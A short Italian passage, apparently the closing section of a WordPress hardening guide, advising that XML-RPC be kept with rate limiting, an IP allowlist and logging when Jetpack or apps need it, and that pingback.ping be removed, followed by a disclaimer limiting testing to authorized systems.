Non è detto che si possa: Jetpack e alcune app lo usano. Se ti servono, mantieni XML-RPC con rate limiting, allowlist di IP e log (Opzione 3), e togli almeno pingback.ping. Verifica la compatibilità prima e dopo la modifica.
Questa guida ha scopo formativo. Esegui questi test solo su sistemi tuoi o per cui hai un’autorizzazione scritta: l’accesso non autorizzato a un sistema informatico è reato.


